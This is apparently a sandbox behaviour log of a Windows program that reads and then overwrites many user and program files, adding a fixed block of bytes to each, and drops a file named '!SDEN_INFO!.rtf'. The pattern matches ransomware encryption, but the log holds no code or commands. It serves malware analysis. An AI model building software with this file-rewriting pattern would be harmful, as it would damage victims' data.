File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\2-sCYYlXE1eIT.ods, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\2-sCYYlXE1eIT.ods, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Sign White Paper.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Sign White Paper.pdf, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Sign White Paper.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Sign White Paper.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Sign White Paper.pdf, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\43GhgeoJ1r.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\43GhgeoJ1r.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\43GhgeoJ1r.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\43GhgeoJ1r.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\43GhgeoJ1r.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\$GetCurrent\SafeOS\PartnerSetupComplete.cmd, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\$GetCurrent\SafeOS\PartnerSetupComplete.cmd, size = 577, size_out = 577	1	Fn Data
File	Write	filename = C:\$GetCurrent\SafeOS\PartnerSetupComplete.cmd, size = 1993	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 5512	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, size = 32768	1	Fn Data
File	Create	filename = C:\Logs\HardwareEvents.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\HardwareEvents.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\HardwareEvents.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\HardwareEvents.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\HardwareEvents.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Errors.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Errors.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Errors.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Errors.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Errors.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-SMBServer%4Audit.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-SMBServer%4Audit.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-SMBServer%4Audit.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SMBServer%4Audit.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SMBServer%4Audit.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-TWinUI%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-TWinUI%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-TWinUI%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-TWinUI%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-TWinUI%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\java.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\java.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\java.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\java.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\java.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\ktab.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\ktab.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\ktab.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\ktab.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\tnameserv.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\tnameserv.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\tnameserv.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\tnameserv.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\LINEAR_RGB.pf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\LINEAR_RGB.pf, size = 1044, size_out = 1044	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\LINEAR_RGB.pf, size = 2460	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_ja.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_ja.properties, size = 6349, size_out = 6349	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\!SDEN_INFO!.rtf, size = 7765	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11@2x-lic.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11@2x-lic.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11@2x-lic.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11@2x-lic.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunec.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunec.jar, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunec.jar, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunec.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunec.jar, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightItalic.ttf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightItalic.ttf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightItalic.ttf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightItalic.ttf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightItalic.ttf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_CopyNoDrop32x32.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_CopyNoDrop32x32.gif, size = 153, size_out = 153	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_CopyNoDrop32x32.gif, size = 1569	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr.jar, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr.jar, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr.jar, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr.jar, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\meta-index, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\meta-index, size = 2126, size_out = 2126	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\meta-index, size = 3542	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\java.policy, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\java.policy, size = 2466, size_out = 2466	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\java.policy, size = 3882	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\release, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\release, size = 528, size_out = 528	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\release, size = 1944	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\features\aushelper@mozilla.org.xpi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\features\aushelper@mozilla.org.xpi, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\aushelper@mozilla.org.xpi, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\aushelper@mozilla.org.xpi, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_70.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_70.png, size = 4096, size_out = 4096	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunpkcs11.jar, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunpkcs11.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunpkcs11.jar, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\manifest.json, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\manifest.json, size = 227, size_out = 227	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\manifest.json, size = 1643	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\precomplete, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\precomplete, size = 4039, size_out = 4039	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\precomplete, size = 5455	1	Fn Data
File	Create	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\bg-BG\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\bg-BG\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\bg-BG\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\bg-BG\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\bg-BG\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-CA\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-CA\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-CA\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-CA\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-CA\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ZA\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ZA\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ZA\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ZA\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ZA\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fi-FI\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fi-FI\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fi-FI\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fi-FI\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fi-FI\index.html, size = 16384	1	Fn Data
